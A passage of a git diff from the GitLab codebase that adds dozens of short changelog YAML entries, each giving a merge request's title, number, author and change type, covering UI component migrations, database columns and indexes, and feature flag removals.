+title: Add GlFormCheckbox to squash commits
+merge_request: 48338
+author:
+type: changed
diff --git a/changelogs/unreleased/225281-add-external_author-alias-for-service_desk_reply_to.yml b/changelogs/unreleased/225281-add-external_author-alias-for-service_desk_reply_to.yml
new file mode 100644
index 00000000000..87bdb16be30
--- /dev/null
+++ b/changelogs/unreleased/225281-add-external_author-alias-for-service_desk_reply_to.yml
@@ -0,0 +1,5 @@
+---
+title: Add `external_author` alias to `service_desk_reply_to`
+merge_request: 48363
+author: Lee Tickett
+type: other
diff --git a/changelogs/unreleased/225446-fix-misalignment-author-dropdown.yml b/changelogs/unreleased/225446-fix-misalignment-author-dropdown.yml
new file mode 100644
index 00000000000..ae3f711ff2c
--- /dev/null
+++ b/changelogs/unreleased/225446-fix-misalignment-author-dropdown.yml
@@ -0,0 +1,5 @@
+---
+title: Fix misalignment of commit search by message input
+merge_request: 48430
+author:
+type: fixed
diff --git a/changelogs/unreleased/225957-convert-to-svg-caret-down-comments.yml b/changelogs/unreleased/225957-convert-to-svg-caret-down-comments.yml
new file mode 100644
index 00000000000..5d33c6c91b9
--- /dev/null
+++ b/changelogs/unreleased/225957-convert-to-svg-caret-down-comments.yml
@@ -0,0 +1,5 @@
+---
+title: Convert bootstrap carets to svg chevrons
+merge_request: 48492
+author:
+type: other
diff --git a/changelogs/unreleased/225957-convert-to-svg-caret-down-projects.yml b/changelogs/unreleased/225957-convert-to-svg-caret-down-projects.yml
new file mode 100644
index 00000000000..4f6b2441c3d
--- /dev/null
+++ b/changelogs/unreleased/225957-convert-to-svg-caret-down-projects.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap caret-down with chevron-down
+merge_request: 48424
+author:
+type: other
diff --git a/changelogs/unreleased/226991-annotate-external-issue-authorship.yml b/changelogs/unreleased/226991-annotate-external-issue-authorship.yml
new file mode 100644
index 00000000000..bcff261473c
--- /dev/null
+++ b/changelogs/unreleased/226991-annotate-external-issue-authorship.yml
@@ -0,0 +1,5 @@
+---
+title: Add `service_desk_reply_to` to issues list and header
+merge_request: 48089
+author: Lee Tickett
+type: added
diff --git a/changelogs/unreleased/227765_add_index_vulnerabilities_on_project_id_and_severity.yml b/changelogs/unreleased/227765_add_index_vulnerabilities_on_project_id_and_severity.yml
new file mode 100644
index 00000000000..6ef8d608a69
--- /dev/null
+++ b/changelogs/unreleased/227765_add_index_vulnerabilities_on_project_id_and_severity.yml
@@ -0,0 +1,6 @@
+---
+title: Add index for the `vulnerabilities` table on `project_id`, `state`, and `severity`
+ columns
+merge_request: 48930
+author:
+type: added
diff --git a/changelogs/unreleased/228675-separate-filtering-users-from-sorting-users-support-multiple-filte.yml b/changelogs/unreleased/228675-separate-filtering-users-from-sorting-users-support-multiple-filte.yml
new file mode 100644
index 00000000000..e6e5bf122dc
--- /dev/null
+++ b/changelogs/unreleased/228675-separate-filtering-users-from-sorting-users-support-multiple-filte.yml
@@ -0,0 +1,5 @@
+---
+title: Add support for filtering direct group members by 2FA enabled/disabled
+merge_request: 48084
+author:
+type: changed
diff --git a/changelogs/unreleased/229310-migrate-bootstrap-button.yml b/changelogs/unreleased/229310-migrate-bootstrap-button.yml
new file mode 100644
index 00000000000..5952fa463ae
--- /dev/null
+++ b/changelogs/unreleased/229310-migrate-bootstrap-button.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate Bootstrap button to GitLab UI GlButton in IDE
+merge_request: 39988
+author:
+type: changed
diff --git a/changelogs/unreleased/229677-merge-modal.yml b/changelogs/unreleased/229677-merge-modal.yml
new file mode 100644
index 00000000000..360db842eaf
--- /dev/null
+++ b/changelogs/unreleased/229677-merge-modal.yml
@@ -0,0 +1,5 @@
+---
+title: Make "How to merge" modal in merge requests conform to correct modal styling
+merge_request: 47889
+author:
+type: changed
diff --git a/changelogs/unreleased/229677-mr-conflicts.yml b/changelogs/unreleased/229677-mr-conflicts.yml
new file mode 100644
index 00000000000..f8d104eafee
--- /dev/null
+++ b/changelogs/unreleased/229677-mr-conflicts.yml
@@ -0,0 +1,5 @@
+---
+title: Make How to merge modal in merge requests widget conform to correct modal styling
+merge_request: 48370
+author:
+type: changed
diff --git a/changelogs/unreleased/229677-mr-widget-conflicts-warning.yml b/changelogs/unreleased/229677-mr-widget-conflicts-warning.yml
new file mode 100644
index 00000000000..eadc599ee84
--- /dev/null
+++ b/changelogs/unreleased/229677-mr-widget-conflicts-warning.yml
@@ -0,0 +1,5 @@
+---
+title: Replace how to merge HAML with Vue component
+merge_request: 48766
+author:
+type: changed
diff --git a/changelogs/unreleased/229848-feature-flag-enable-option-to-display-one-file-at-a-time-in-mrs.yml b/changelogs/unreleased/229848-feature-flag-enable-option-to-display-one-file-at-a-time-in-mrs.yml
new file mode 100644
index 00000000000..a3c34510950
--- /dev/null
+++ b/changelogs/unreleased/229848-feature-flag-enable-option-to-display-one-file-at-a-time-in-mrs.yml
@@ -0,0 +1,5 @@
+---
+title: Remove `view_diffs_file_by_file` feature flag
+merge_request: 48966
+author:
+type: other
diff --git a/changelogs/unreleased/229918-fix-some-issue-events.yml b/changelogs/unreleased/229918-fix-some-issue-events.yml
new file mode 100644
index 00000000000..526f14cc9ae
--- /dev/null
+++ b/changelogs/unreleased/229918-fix-some-issue-events.yml
@@ -0,0 +1,5 @@
+---
+title: Fix usage data tracking of some issue events
+merge_request: 49571
+author:
+type: fixed
diff --git a/changelogs/unreleased/231179-projects-buttons.yml b/changelogs/unreleased/231179-projects-buttons.yml
new file mode 100644
index 00000000000..c56384ab2bc
--- /dev/null
+++ b/changelogs/unreleased/231179-projects-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Adds gitlab ui classes to project dir buttons
+merge_request: 49939
+author:
+type: other
diff --git a/changelogs/unreleased/231189-manifest-dir-buttons.yml b/changelogs/unreleased/231189-manifest-dir-buttons.yml
new file mode 100644
index 00000000000..96b581152b3
--- /dev/null
+++ b/changelogs/unreleased/231189-manifest-dir-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Adds gl button classes to manifest imports
+merge_request: 48697
+author:
+type: other
diff --git a/changelogs/unreleased/231207-convert-compare-button-to-gl.yml b/changelogs/unreleased/231207-convert-compare-button-to-gl.yml
new file mode 100644
index 00000000000..d4b62d5cf56
--- /dev/null
+++ b/changelogs/unreleased/231207-convert-compare-button-to-gl.yml
@@ -0,0 +1,5 @@
+---
+title: Conver create merge request button to gl
+merge_request: 49864
+author:
+type: other
diff --git a/changelogs/unreleased/231210-migrate-haml-buttons.yml b/changelogs/unreleased/231210-migrate-haml-buttons.yml
new file mode 100644
index 00000000000..ff7d4791764
--- /dev/null
+++ b/changelogs/unreleased/231210-migrate-haml-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate HAML buttons to Pajamas in app/views/profiles/keys
+merge_request: 49421
+author: Jonston Chan @JonstonChan
+type: changed
diff --git a/changelogs/unreleased/232670-steal-webauthn-background-migration.yml b/changelogs/unreleased/232670-steal-webauthn-background-migration.yml
new file mode 100644
index 00000000000..a9752c57947
--- /dev/null
+++ b/changelogs/unreleased/232670-steal-webauthn-background-migration.yml
@@ -0,0 +1,5 @@
+---
+title: Cleanup webauthn background migration
+merge_request: 46179
+author: Jan Beckmann
+type: added
diff --git a/changelogs/unreleased/233648-replace-bootstrap-alerts-in-app-views-admin-runners-show-html-haml.yml b/changelogs/unreleased/233648-replace-bootstrap-alerts-in-app-views-admin-runners-show-html-haml.yml
new file mode 100644
index 00000000000..7f6c3a02376
--- /dev/null
+++ b/changelogs/unreleased/233648-replace-bootstrap-alerts-in-app-views-admin-runners-show-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/admin/runners/show.html.haml
+merge_request: 41378
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233675-replace-bootstrap-alerts-in-app-views-profiles-notifications-show-.yml b/changelogs/unreleased/233675-replace-bootstrap-alerts-in-app-views-profiles-notifications-show-.yml
new file mode 100644
index 00000000000..7f18e92d1c4
--- /dev/null
+++ b/changelogs/unreleased/233675-replace-bootstrap-alerts-in-app-views-profiles-notifications-show-.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in app/views/profiles/notifications/show.html.haml
+merge_request: 41310
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233699-replace-bootstrap-alerts-in-ee-app-views-admin-licenses-new-html-h.yml b/changelogs/unreleased/233699-replace-bootstrap-alerts-in-ee-app-views-admin-licenses-new-html-h.yml
new file mode 100644
index 00000000000..1a60a2f2d52
--- /dev/null
+++ b/changelogs/unreleased/233699-replace-bootstrap-alerts-in-ee-app-views-admin-licenses-new-html-h.yml
@@ -0,0 +1,5 @@
+---
+title: Replace bootstrap alerts in ee/app/views/admin/licenses/new.html.haml
+merge_request: 41275
+author: Gilang Gumilar
+type: changed
diff --git a/changelogs/unreleased/233994_add_increment_counter_js_tracking.yml b/changelogs/unreleased/233994_add_increment_counter_js_tracking.yml
new file mode 100644
index 00000000000..19ff6938535
--- /dev/null
+++ b/changelogs/unreleased/233994_add_increment_counter_js_tracking.yml
@@ -0,0 +1,5 @@
+---
+title: Frontend client for increment_counter API
+merge_request: 47622
+author:
+type: added
diff --git a/changelogs/unreleased/233994_extend_usage_ping_api.yml b/changelogs/unreleased/233994_extend_usage_ping_api.yml
new file mode 100644
index 00000000000..630e2ddbbd7
--- /dev/null
+++ b/changelogs/unreleased/233994_extend_usage_ping_api.yml
@@ -0,0 +1,5 @@
+---
+title: Add `increment_counter` to Usage Ping API
+merge_request: 47309
+author:
+type: added
diff --git a/changelogs/unreleased/233994_send_usage_data_events.yml b/changelogs/unreleased/233994_send_usage_data_events.yml
new file mode 100644
index 00000000000..38707c88b94
--- /dev/null
+++ b/changelogs/unreleased/233994_send_usage_data_events.yml
@@ -0,0 +1,5 @@
+---
+title: Send Static Site Editor events to Usage Ping API
+merge_request: 47640
+author:
+type: added
diff --git a/changelogs/unreleased/234002-conan-create-build-info.yml b/changelogs/unreleased/234002-conan-create-build-info.yml
new file mode 100644
index 00000000000..773b279e506
--- /dev/null
+++ b/changelogs/unreleased/234002-conan-create-build-info.yml
@@ -0,0 +1,5 @@
+---
+title: Conan packages show build and commit information when published using CI
+merge_request: 49426
+author:
+type: fixed
diff --git a/changelogs/unreleased/234013-add-experiment-record-context.yml b/changelogs/unreleased/234013-add-experiment-record-context.yml
new file mode 100644
index 00000000000..5613d145be5
--- /dev/null
+++ b/changelogs/unreleased/234013-add-experiment-record-context.yml
@@ -0,0 +1,5 @@
+---
+title: Add context to the experiment user records
+merge_request: 48896
+author:
+type: added
diff --git a/changelogs/unreleased/235994-incident-metrics-upload.yml b/changelogs/unreleased/235994-incident-metrics-upload.yml
new file mode 100644
index 00000000000..8beb60cc8a0
--- /dev/null
+++ b/changelogs/unreleased/235994-incident-metrics-upload.yml
@@ -0,0 +1,5 @@
+---
+title: Add metric image uploading to incidents via REST API
+merge_request: 46845
+author:
+type: added
diff --git a/changelogs/unreleased/237891-improve-ci-for-external-repo-with-configurable-maximum-mirroring-f.yml b/changelogs/unreleased/237891-improve-ci-for-external-repo-with-configurable-maximum-mirroring-f.yml
new file mode 100644
index 00000000000..95a03d79230
--- /dev/null
+++ b/changelogs/unreleased/237891-improve-ci-for-external-repo-with-configurable-maximum-mirroring-f.yml
@@ -0,0 +1,6 @@
+---
+title: Improve CI for external repo with configurable maximum mirroring frequency
+ on self-hosted
+merge_request: 48955
+author:
+type: changed
diff --git a/changelogs/unreleased/239177_add_checksum_into_vulnerability_remediations.yml b/changelogs/unreleased/239177_add_checksum_into_vulnerability_remediations.yml
new file mode 100644
index 00000000000..b65644379ec
--- /dev/null
+++ b/changelogs/unreleased/239177_add_checksum_into_vulnerability_remediations.yml
@@ -0,0 +1,5 @@
+---
+title: Add `checksum` column into the `vulnerability_remediations` table
+merge_request: 48165
+author:
+type: changed
diff --git a/changelogs/unreleased/239177_introduce_remediation_entity.yml b/changelogs/unreleased/239177_introduce_remediation_entity.yml
new file mode 100644
index 00000000000..d21255bc6c1
--- /dev/null
+++ b/changelogs/unreleased/239177_introduce_remediation_entity.yml
@@ -0,0 +1,6 @@
+---
+title: Create `vulnerability_findings_remediations` and `vulnerability_remediations`
+ tables
+merge_request: 47166
+author:
+type: added
diff --git a/changelogs/unreleased/239177_scope_remediations_to_projects.yml b/changelogs/unreleased/239177_scope_remediations_to_projects.yml
new file mode 100644
index 00000000000..877f96b79db
--- /dev/null
+++ b/changelogs/unreleased/239177_scope_remediations_to_projects.yml
@@ -0,0 +1,6 @@
+---
+title: Add `project_id` column into the `vulnerability_remediations` table to scope
+ the records with projects
+merge_request: 49219
+author:
+type: added
diff --git a/changelogs/unreleased/239518-always-display-build-info-for-packages-in-the-ui.yml b/changelogs/unreleased/239518-always-display-build-info-for-packages-in-the-ui.yml
new file mode 100644
index 00000000000..7c07878bf51
--- /dev/null
+++ b/changelogs/unreleased/239518-always-display-build-info-for-packages-in-the-ui.yml
@@ -0,0 +1,5 @@
+---
+title: Display more pipelines info in package history
+merge_request: 49040
+author:
+type: changed
diff --git a/changelogs/unreleased/239518-package-details-not-updating-when-the-same-version-is-deployed-fro.yml b/changelogs/unreleased/239518-package-details-not-updating-when-the-same-version-is-deployed-fro.yml
new file mode 100644
index 00000000000..ccd9c525412
--- /dev/null
+++ b/changelogs/unreleased/239518-package-details-not-updating-when-the-same-version-is-deployed-fro.yml
@@ -0,0 +1,5 @@
+---
+title: Update package_file table to display commits when present
+merge_request: 48882
+author:
+type: changed
diff --git a/changelogs/unreleased/239518_add_build_info_to_all_packages.yml b/changelogs/unreleased/239518_add_build_info_to_all_packages.yml
new file mode 100644
index 00000000000..9961bfb0d0e
--- /dev/null
+++ b/changelogs/unreleased/239518_add_build_info_to_all_packages.yml
@@ -0,0 +1,6 @@
+---
+title: Create package build_info records for Conan, NuGet, PyPI, and Composer packages
+ and package files
+merge_request: 48811
+author:
+type: added
diff --git a/changelogs/unreleased/241158-remove-feature-flag-save_raw_usage_data.yml b/changelogs/unreleased/241158-remove-feature-flag-save_raw_usage_data.yml
new file mode 100644
index 00000000000..0f07284dcca
--- /dev/null
+++ b/changelogs/unreleased/241158-remove-feature-flag-save_raw_usage_data.yml
@@ -0,0 +1,5 @@
+---
+title: Save usage ping payload in raw_usage_data table
+merge_request: 49559
+author:
+type: added
diff --git a/changelogs/unreleased/241267-add-partitioned-audit-events-indexes.yml b/changelogs/unreleased/241267-add-partitioned-audit-events-indexes.yml
new file mode 100644
index 00000000000..ac580b87b55
--- /dev/null
+++ b/changelogs/unreleased/241267-add-partitioned-audit-events-indexes.yml
@@ -0,0 +1,5 @@
+---
+title: Add secondary indexes to partitioned audit_events
+merge_request: 48270
+author:
+type: added
diff --git a/changelogs/unreleased/241639-delete-manifest-api.yml b/changelogs/unreleased/241639-delete-manifest-api.yml
new file mode 100644
index 00000000000..bcc13aff800
--- /dev/null
+++ b/changelogs/unreleased/241639-delete-manifest-api.yml
@@ -0,0 +1,5 @@
+---
+title: Delete manifests when purging the dependency proxy using the API
+merge_request: 49056
+author:
+type: changed
diff --git a/changelogs/unreleased/241639-dependency-proxy-manifests.yml b/changelogs/unreleased/241639-dependency-proxy-manifests.yml
new file mode 100644
index 00000000000..57babb52caf
--- /dev/null
+++ b/changelogs/unreleased/241639-dependency-proxy-manifests.yml
@@ -0,0 +1,6 @@
+---
+title: The dependency proxy caches manifests and makes HEAD requests to help with
+ rate limiting
+merge_request: 48845
+author:
+type: changed
diff --git a/changelogs/unreleased/241639-manifest-caching-models.yml b/changelogs/unreleased/241639-manifest-caching-models.yml
new file mode 100644
index 00000000000..69012d4af7b
--- /dev/null
+++ b/changelogs/unreleased/241639-manifest-caching-models.yml
@@ -0,0 +1,5 @@
+---
+title: Add dependency_proxy_manifests table and associations
+merge_request: 48535
+author:
+type: added
diff --git a/changelogs/unreleased/241744-support-kroki.yml b/changelogs/unreleased/241744-support-kroki.yml
new file mode 100644
index 00000000000..1c269e553e3
--- /dev/null
+++ b/changelogs/unreleased/241744-support-kroki.yml
@@ -0,0 +1,5 @@
+---
+title: "Add Kroki to support more diagrams in AsciiDoc and Markdown"
+merge_request: 44851
+author: Guillaume Grossetie
+type: added
diff --git a/changelogs/unreleased/242022-bscallout-to-glalert-applications.yml b/changelogs/unreleased/242022-bscallout-to-glalert-applications.yml
new file mode 100644
index 00000000000..27adea2860a
--- /dev/null
+++ b/changelogs/unreleased/242022-bscallout-to-glalert-applications.yml
@@ -0,0 +1,5 @@
+---
+title: Replaces elements with the bs-callout class with gl-alert vue component
+merge_request: 47331
+author: Gary Bell @garybell
+type: other
diff --git a/changelogs/unreleased/242023-knative-alert.yml b/changelogs/unreleased/242023-knative-alert.yml
new file mode 100644
index 00000000000..b6fe0a1b7cc
--- /dev/null
+++ b/changelogs/unreleased/242023-knative-alert.yml
@@ -0,0 +1,5 @@
+---
+title: Convert knative error alert to glalert
+merge_request: 47840
+author:
+type: changed
diff --git a/changelogs/unreleased/242026-gl-alert-pipeline-ide.yml b/changelogs/unreleased/242026-gl-alert-pipeline-ide.yml
new file mode 100644
index 00000000000..11b4aae9256
--- /dev/null
+++ b/changelogs/unreleased/242026-gl-alert-pipeline-ide.yml
@@ -0,0 +1,5 @@
+---
+title: Update ide pipeline alert to use gitlab ui
+merge_request: 49634
+author:
+type: changed
diff --git a/changelogs/unreleased/242028-migrate-bs-callout-to-glalert-in-app-assets-javascripts-jobs-compo.yml b/changelogs/unreleased/242028-migrate-bs-callout-to-glalert-in-app-assets-javascripts-jobs-compo.yml
new file mode 100644
index 00000000000..8dd080ac936
--- /dev/null
+++ b/changelogs/unreleased/242028-migrate-bs-callout-to-glalert-in-app-assets-javascripts-jobs-compo.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate bs-callout to GlAlert in …/unmet_prerequisites_block.vue
+merge_request: 48398
+author:
+type: other
diff --git a/changelogs/unreleased/242029-migrate-to-glalert-for-callout.yml b/changelogs/unreleased/242029-migrate-to-glalert-for-callout.yml
new file mode 100644
index 00000000000..e773e2acdd1
--- /dev/null
+++ b/changelogs/unreleased/242029-migrate-to-glalert-for-callout.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate bs-callout to GlAlert for components using app/assets/javascripts/vue_shared/components/callout.vue
+merge_request: 49732
+author: Gary Bell @garybell
+type: other
diff --git a/changelogs/unreleased/242034-runner-limit.yml b/changelogs/unreleased/242034-runner-limit.yml
new file mode 100644
index 00000000000..8e95f913033
--- /dev/null
+++ b/changelogs/unreleased/242034-runner-limit.yml
@@ -0,0 +1,5 @@
+---
+title: Convert shared runner limit alert to gl-alert
+merge_request: 48063
+author:
+type: other
diff --git a/changelogs/unreleased/244273-boards-migrate-createboard-board_store-function-to-vuex-action.yml b/changelogs/unreleased/244273-boards-migrate-createboard-board_store-function-to-vuex-action.yml
new file mode 100644
index 00000000000..d64587a064a
--- /dev/null
+++ b/changelogs/unreleased/244273-boards-migrate-createboard-board_store-function-to-vuex-action.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate `createBoard` away from boardStore
+merge_request: 49450
+author:
+type: changed
diff --git a/changelogs/unreleased/244380_repopulate_historical_vulnerability_statistics.yml b/changelogs/unreleased/244380_repopulate_historical_vulnerability_statistics.yml
new file mode 100644
index 00000000000..5ef75aaf51a
--- /dev/null
+++ b/changelogs/unreleased/244380_repopulate_historical_vulnerability_statistics.yml
@@ -0,0 +1,5 @@
+---
+title: Repopulate historical vulnerability statistics
+merge_request: 48128
+author:
+type: fixed
diff --git a/changelogs/unreleased/246857-fix-issuable-import-csv-service.yml b/changelogs/unreleased/246857-fix-issuable-import-csv-service.yml
new file mode 100644
index 00000000000..4e3bbfa49bc
--- /dev/null
+++ b/changelogs/unreleased/246857-fix-issuable-import-csv-service.yml
@@ -0,0 +1,5 @@
+---
+title: Fix error in Issuable::ImportCsv::BaseService when CSV file is empty
+merge_request: 47918
+author:
+type: fixed
diff --git a/changelogs/unreleased/247130-gather-devops-segment-snapshots-info.yml b/changelogs/unreleased/247130-gather-devops-segment-snapshots-info.yml
new file mode 100644
index 00000000000..30b3427159f
--- /dev/null
+++ b/changelogs/unreleased/247130-gather-devops-segment-snapshots-info.yml
@@ -0,0 +1,5 @@
+---
+title: Add approvals created_at index
+merge_request: 48684
+author:
+type: performance
diff --git a/changelogs/unreleased/247476-remove-angle-brackets-in-no-scopes.yml b/changelogs/unreleased/247476-remove-angle-brackets-in-no-scopes.yml
new file mode 100644
index 00000000000..bb13a2fc782
--- /dev/null
+++ b/changelogs/unreleased/247476-remove-angle-brackets-in-no-scopes.yml
@@ -0,0 +1,5 @@
+---
+title: Remove brackets in no scopes selected message in access and deploy tokens lists
+merge_request: 47628
+author:
+type: changed
diff --git a/changelogs/unreleased/249713-empty-results-status-fix.yml b/changelogs/unreleased/249713-empty-results-status-fix.yml
new file mode 100644
index 00000000000..2b88093420d
--- /dev/null
+++ b/changelogs/unreleased/249713-empty-results-status-fix.yml
@@ -0,0 +1,5 @@
+---
+title: 'Search page: fix empty results status'
+merge_request: 48034
+author:
+type: fixed
diff --git a/changelogs/unreleased/250479-iteration-lists-creation.yml b/changelogs/unreleased/250479-iteration-lists-creation.yml
new file mode 100644
index 00000000000..f590f3db2cb
--- /dev/null
+++ b/changelogs/unreleased/250479-iteration-lists-creation.yml
@@ -0,0 +1,5 @@
+---
+title: Add iteration_id column to lists
+merge_request: 48103
+author:
+type: added
diff --git a/changelogs/unreleased/250800-create-new-experimentsubject-model-with-user_id-namespace_id-or-pr.yml b/changelogs/unreleased/250800-create-new-experimentsubject-model-with-user_id-namespace_id-or-pr.yml
new file mode 100644
index 00000000000..43c93ebdacf
--- /dev/null
+++ b/changelogs/unreleased/250800-create-new-experimentsubject-model-with-user_id-namespace_id-or-pr.yml
@@ -0,0 +1,5 @@
+---
+title: Create a new `ExperimentSubject` model, associated to the `Experiment` model, and related database migrations.
+merge_request: 47042
+author:
+type: added
diff --git a/changelogs/unreleased/250859-mr-suggestion-retain-spinner.yml b/changelogs/unreleased/250859-mr-suggestion-retain-spinner.yml
new file mode 100644
index 00000000000..67a2ca147ed
--- /dev/null
+++ b/changelogs/unreleased/250859-mr-suggestion-retain-spinner.yml
@@ -0,0 +1,5 @@
+---
+title: Retain spinner when applying MR suggestions
+merge_request: 46203
+author:
+type: fixed
diff --git a/changelogs/unreleased/251015-artifact-download.yml b/changelogs/unreleased/251015-artifact-download.yml
new file mode 100644
index 00000000000..10d918e2761
--- /dev/null
+++ b/changelogs/unreleased/251015-artifact-download.yml
@@ -0,0 +1,5 @@
+---
+title: Add artifacts field to JobType
+merge_request: 48207
+author:
+type: added
diff --git a/changelogs/unreleased/254979-double-border-split-button.yml b/changelogs/unreleased/254979-double-border-split-button.yml
new file mode 100644
index 00000000000..afa69697166
--- /dev/null
+++ b/changelogs/unreleased/254979-double-border-split-button.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed double-border style on WebIDE button
+merge_request: 48605
+author:
+type: fixed
diff --git a/changelogs/unreleased/255103-blob-switcher-active.yml b/changelogs/unreleased/255103-blob-switcher-active.yml
new file mode 100644
index 00000000000..ece9b7673a5
--- /dev/null
+++ b/changelogs/unreleased/255103-blob-switcher-active.yml
@@ -0,0 +1,5 @@
+---
+title: Fix outline on selected button in Snippets Rendered/Source buttons
+merge_request: 49676
+author:
+type: fixed
diff --git a/changelogs/unreleased/255170-eng-use-text-field-to-capture-further-details-of-other-role-type-d.yml b/changelogs/unreleased/255170-eng-use-text-field-to-capture-further-details-of-other-role-type-d.yml
new file mode 100644
index 00000000000..72cc52f2755
--- /dev/null
+++ b/changelogs/unreleased/255170-eng-use-text-field-to-capture-further-details-of-other-role-type-d.yml
@@ -0,0 +1,5 @@
+---
+title: Add other role column in user details table
+merge_request: 45635
+author:
+type: added
diff --git a/changelogs/unreleased/255171-dropdown-alerts-replacement.yml b/changelogs/unreleased/255171-dropdown-alerts-replacement.yml
new file mode 100644
index 00000000000..fed1d5dcffd
--- /dev/null
+++ b/changelogs/unreleased/255171-dropdown-alerts-replacement.yml
@@ -0,0 +1,5 @@
+---
+title: Update alert details sidebar assignee dropdown to use correct styling and formatting
+merge_request: 48285
+author:
+type: fixed
diff --git a/changelogs/unreleased/255502-http-integrations-list-ff-removal.yml b/changelogs/unreleased/255502-http-integrations-list-ff-removal.yml
new file mode 100644
index 00000000000..1405be399ff
--- /dev/null
+++ b/changelogs/unreleased/255502-http-integrations-list-ff-removal.yml
@@ -0,0 +1,5 @@
+---
+title: Remove http_integrations_list feature flag
+merge_request: 48030
+author:
+type: changed
diff --git a/changelogs/unreleased/255923-transfer-project-group-with-integrations.yml b/changelogs/unreleased/255923-transfer-project-group-with-integrations.yml
new file mode 100644
index 00000000000..10177cbb6e7
--- /dev/null
+++ b/changelogs/unreleased/255923-transfer-project-group-with-integrations.yml
@@ -0,0 +1,5 @@
+---
+title: Transfer a project/group to a new namespace inheriting integrations
+merge_request: 48621
+author:
+type: changed
diff --git a/changelogs/unreleased/255979-add-converted_at-timestamp-column-to-the-experiment_users-table.yml b/changelogs/unreleased/255979-add-converted_at-timestamp-column-to-the-experiment_users-table.yml
new file mode 100644
index 00000000000..f635d00dfb5
--- /dev/null
+++ b/changelogs/unreleased/255979-add-converted_at-timestamp-column-to-the-experiment_users-table.yml
@@ -0,0 +1,6 @@
+---
+title: Add `converted_at` timestamp column to `experiment_users` to record when
+ the user performs an experiment's conversion action
+merge_request: 47093
+author:
+type: changed
diff --git a/changelogs/unreleased/257888-Improve-Runner-Breadcrumb-in-Admin-Section.yml b/changelogs/unreleased/257888-Improve-Runner-Breadcrumb-in-Admin-Section.yml
new file mode 100644
index 00000000000..53a527d75d1
--- /dev/null
+++ b/changelogs/unreleased/257888-Improve-Runner-Breadcrumb-in-Admin-Section.yml
@@ -0,0 +1,5 @@
+---
+title: Replace Runner Page Title with Runner’s Hash
+merge_request: 44854
+author: Kev @KevSlashNull
+type: changed
diff --git a/changelogs/unreleased/258810-2-itteration-be.yml b/changelogs/unreleased/258810-2-itteration-be.yml
new file mode 100644
index 00000000000..48547e115bd
--- /dev/null
+++ b/changelogs/unreleased/258810-2-itteration-be.yml
@@ -0,0 +1,5 @@
+---
+title: Add MergeRequest to VulnerabilityType in GraphQL
+merge_request: 50082
+author:
+type: added
diff --git a/changelogs/unreleased/259665-project-access-tokens-not-working-when-fetching-updates-for-a-prev.yml b/changelogs/unreleased/259665-project-access-tokens-not-working-when-fetching-updates-for-a-prev.yml
new file mode 100644
index 00000000000..e8efb3bf61c
--- /dev/null
+++ b/changelogs/unreleased/259665-project-access-tokens-not-working-when-fetching-updates-for-a-prev.yml
@@ -0,0 +1,5 @@
+---
+title: Fix project access token build authentication error
+merge_request: 47247
+author:
+type: fixed
diff --git a/changelogs/unreleased/260439-remove-boards-upsell-list.yml b/changelogs/unreleased/260439-remove-boards-upsell-list.yml
new file mode 100644
index 00000000000..6dad6715dde
--- /dev/null
+++ b/changelogs/unreleased/260439-remove-boards-upsell-list.yml
@@ -0,0 +1,5 @@
+---
+title: Removed boards promotion
+merge_request: 47972
+author:
+type: changed
diff --git a/changelogs/unreleased/262112_populate_remaining_dismissal_information.yml b/changelogs/unreleased/262112_populate_remaining_dismissal_information.yml
new file mode 100644
index 00000000000..c4eea32f645
--- /dev/null
+++ b/changelogs/unreleased/262112_populate_remaining_dismissal_information.yml
@@ -0,0 +1,5 @@
+---
+title: Add migration to populate remaining dismissal information for vulnerabilities
+merge_request: 48472
+author:
+type: added
diff --git a/changelogs/unreleased/262168-pagination-of-bitbucket-server-importer-ignores-first-25-repositor.yml b/changelogs/unreleased/262168-pagination-of-bitbucket-server-importer-ignores-first-25-repositor.yml
new file mode 100644
index 00000000000..e94dfff99ac
--- /dev/null
+++ b/changelogs/unreleased/262168-pagination-of-bitbucket-server-importer-ignores-first-25-repositor.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unneeded pagination code for project importers.
+merge_request: 49589
+author:
+type: changed
diff --git a/changelogs/unreleased/262395-devops-adoption-mutations.yml b/changelogs/unreleased/262395-devops-adoption-mutations.yml
new file mode 100644
index 00000000000..35749ec59a9
--- /dev/null
+++ b/changelogs/unreleased/262395-devops-adoption-mutations.yml
@@ -0,0 +1,5 @@
+---
+title: Add GraphQL mutations for Devops Adoption Segment
+merge_request: 47066
+author:
+type: added
diff --git a/changelogs/unreleased/262847-create-on-call-schedules.yml b/changelogs/unreleased/262847-create-on-call-schedules.yml
new file mode 100644
index 00000000000..86887856726
--- /dev/null
+++ b/changelogs/unreleased/262847-create-on-call-schedules.yml
@@ -0,0 +1,5 @@
+---
+title: Create `incident_management_oncall_schedules` table
+merge_request: 47407
+author:
+type: added
diff --git a/changelogs/unreleased/262857-creation-rotation-table-models.yml b/changelogs/unreleased/262857-creation-rotation-table-models.yml
new file mode 100644
index 00000000000..d45c60ca289
--- /dev/null
+++ b/changelogs/unreleased/262857-creation-rotation-table-models.yml
@@ -0,0 +1,5 @@
+---
+title: Add oncall rotations and participants tables
+merge_request: 49058
+author:
+type: added
diff --git a/changelogs/unreleased/263107-user-admin-approval-approve-user-via-api.yml b/changelogs/unreleased/263107-user-admin-approval-approve-user-via-api.yml
new file mode 100644
index 00000000000..424a600e298
--- /dev/null
+++ b/changelogs/unreleased/263107-user-admin-approval-approve-user-via-api.yml
@@ -0,0 +1,5 @@
+---
+title: Add API endoint for Administrators to approve pending users
+merge_request: 47564
+author:
+type: added
diff --git a/changelogs/unreleased/263276-enable-new_pipeline_form_prefilled_vars.yml b/changelogs/unreleased/263276-enable-new_pipeline_form_prefilled_vars.yml
new file mode 100644
index 00000000000..9312c02795a
--- /dev/null
